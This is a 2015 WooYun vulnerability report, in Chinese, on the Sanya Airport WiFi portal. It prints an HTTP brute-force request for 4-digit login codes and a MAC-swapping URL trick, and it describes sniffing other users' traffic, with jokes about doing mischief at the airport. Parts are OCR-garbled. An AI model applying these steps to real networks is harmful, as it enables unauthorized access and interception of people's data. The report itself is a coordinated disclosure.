漏洞概要 关注数(24) 关注此漏洞 缺陷编号: wooyun-2015-0112255 漏洞标题: 三亚机场WIFI系统多处认证绕过漏洞(经典认证逻辑测试思路) 相关厂商: 三亚机场无线网络 漏洞作者: 独孤城 提交时间: 2015-05-05 18:44 修复时间: 2015-06-23 16:32 公开时间: 2015-06-23 16:32 漏洞类型: 未授权访问/权限绕过 危害等级:中

自评Rank: 9 漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理 漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

分享漏洞: 🔡 分享到 🔯 🚮 🖧 🙆

4人收藏 💚 收藏

漏洞详情

披露状态:

2015-05-05: 细节已通知厂商并且等待厂商处理中 2015-05-09: 厂商已经确认,细节仅向厂商公开 2015-05-19: 细节向核心白帽子及相关领域专家公开 2015-05-29: 细节向普通白帽子公开 2015-06-08: 细节向李习白帽子公开 2015-06-23: 细节向公众公开

简要描述:

三亚出差,经过机场简单看了一下WIFI系统。三亚机场WIFI系统Web Portal认证系统存在逻辑错误,任意用户可绕过系统身份认证进行登陆,实现匿 名上网,并可监听其他合法用户网络数据包。想干坏事去机场哈

可进行登陆密码穷举

连接机场WIFI网络。连接网络后我们打开浏览器,访问任意地址。此时请求会重定向到Web认证服务器。此时服务器要求提交用户手机号码,作为身份 认证凭证访问网络。提交可用手机号后,发现验证密码是4位数字。

简单检查系统, 发现并未设置验证码, 也未对登陆次数进行限制。

GET /portal/ajaxlogin?user=86***********{此处为冒充的手机号码}&password=\${Gen_7}&language=1&_=1429299379639 HTTP/1.1 Host: 192.168.1.23

Connection: keep-alive
Accept: application/json, text/javascript, "/"; q=0.01

X-Requested-Writh: NMLHtpRequest
User-Agent: Novalila/3.0 (Wrindows NT 6.1; WOW64) AppleWebKit/537.36 (WHTML, like Gecko) Chrome/36.0.1985.143 SaFari/537.

Referer: http://192.168.1.253/portal
Accept-Encoding: gzip.deflate.sdch
Accept-Encoding: gzip.deflate.sdch
Accept-Language: zh-CN_zh;q=0.8, en;q=0.6

Cookie: PHPSESSID-F6ncf0e1kf3ueGephvHqf8g70; from_url=httpN3AN2FN2F192.168.1.253N2F

我们用WVS自带工具进行穷举攻击。

ettinii Zeepoline

1. appliatus (apropiline
1.

几分钟之内我们便可找到任意用户的验证码。结果如下:

		es 🕍 😅 🗐				Number of rec
	Status code	URL	Geregion	Ferponce (me limit	Electronia sina	Word Down
J 1	UK	/porta/logn	Ge1,5 = 910		Response size	Processon.
	OK	/portel/fogin	Gen_5 = dip	16	45.5	0
	DK	/portel/fogin	Gen_6 = skq	16	45 b	0
1	DK	/portal/fogin	Gen, 6 = sir	0	54b	0
	DK.	/portal/fogin	Ger,5 = sks	0	45.5	0
	OK	/portal/fogin	Ger_d = skt	0	450	0
	OK	/portal/login	Gen_6 = sku	16	45 b	0
1	OK	/portel/login	Gen_6 = shr	16	46 b	0
D 1	DK.	/portel/login	Gen,5 = skv	0	45 b	0
1	OK	/portal/login	Gen,5 = skx	36	39 b	0
	OK	/portal/login	Gorji = sky	16	46.0	0
1	OK	/portal/login	Gen_6 = skz	0	45.0	0
1	OK	/portal/login	Ger_5 = da	26	46.5	0
1	OK	/portel/fogin	Gen_5 = db	0	45 b	0
1	DK .	/portel/fogin	Gen_6 = sk	16	45 b	0
1	OK	(portal/login	Gen, 6 = skl	16	45 b	0
	œ	Insertal Socia	Can A - da	49	ati h	
Request	Response Ves	page Raw Text				
ook for:		00 H N 1 E	Pain text *			
1111	*xccoage*:	·廣始排得), "result": "true")				

使用该验证码可成功通过portal系统验证,接入互联网。摆脱big brother监控,实现匿名上网。

各种坏事随意干哈。

另外通过抓包一次正常的登陆过程,发现可以可以发现登陆成功后存在一个访问连接:

http://192.168.1.253/portal/success?uid=86*****{手机号码}&sip=10.10.0.250&mac=c4017c********&client_mac=74e543**********

%ssid=%23Airport-Free-WiFi%20SanYa&vlan=&res=success&url=http%3a%2f%2fwp.mail.qq.com

74e543=====此处为注册上网的mac地址。修改此处mac地址注册其他设备上网,同样实现了匿名上网。想干坏事去机场哈。

漏洞证明:

另外简单用dspolit对网络进行了一下监听,公共wifi问题也是大大的。 装有dspolit手机接入以上WIFI系统。可对网络数据包进行监听,窃取信息。 具体证明如下:



▼ 上海市房地产交易中心办证查询网站存在FTP匿名访问且泄漏大量交易合同

- ▼ 英孚教育某分公司FortiGate防火墙存在后门
- ▼ 蚂蜂窝某分站服务配置不当泄漏大量session
- ▼ 乐蜂网某功能平行权限漏洞 (操作他人内容)
- ▼ 四川联通某系统某接口未授权访问泄漏用户信息
- ▼ 视友网创建分组平行越权
- ▼ 中央广播电视大学190万学生个人资料泄露
- ▼ 暴走漫画—处平行权限漏洞
- ▼ 百度游戏—处rsync未授权访问可获取备份数据库
- ▼ 看我如何获得浙江省全市医院信息的 (全省院长手机号我都有)

查看更多>>

□同厂商漏洞[三亚机场无线网络]: (10)

● 三亚机场WIFI系统多处认证绕过漏洞(经典认证逻辑测试思路)

查看更多>>

☑同作者漏洞[独孤城]: (10)

- ▲ 69个高校正方教务管理系统数据库任意操作
- ▲ 三亚机场WIFI系统多处认证绕过漏洞(经典认证逻辑测试思路)
- ▲ 遵义市商业银行网站struts2漏洞

春春田多、、

➡随机漏洞展示: (8)

- ★ 天津航空某处存在SQL注入
- ★ p2p金融之汇商所某处漏洞Getshell
- ★ 基準防局基网站存在湯洞
- ★ 拍察代存在安全漏洞可导致服务器域欠等被控制
- ★ 华医网多个子站sql注入漏洞打包
- ★ 对面内网沦陷+各种数据库泄漏(大量用户明文密码)
- ★ 湖南省某县人民政府存在科创CMS上传漏洞
- ★ Discuz 4.0 头像设置处可以持久型脚本
- ★ ThinkSAAS官方论坛存储型xss
- ★ 阜新蒙古族自治县教育信息网备份文件泄露

查看更多>>



打开我们监听的数据句:

有人在访问微信朋友圈哈。

修复方案:

1.对于登陆认证统过和密码穷举问题。 做好基本的逻辑,程序员你懂的。 2.数据包监听。 还是别用WIFI了。

版权声明:转载请注明来源 独孤城@乌云

漏洞回应

厂商回应:

危害等级: 中

漏洞Rank:

确认时间: 2015-05-09 16:30

厂商回复:

CNVD未直接复现所述情况,已经转由CNCERT向民航行业则评中心通报,由其后续协调网站管理单位处置。

最新状态:

智无



Copyright © 2010 - 2022 wooyun.org | WY.ZONE.CI, All Rights Reserved FK.BD/Ali/GFW

行业观点・法律顾问・联系我们・帮助・关于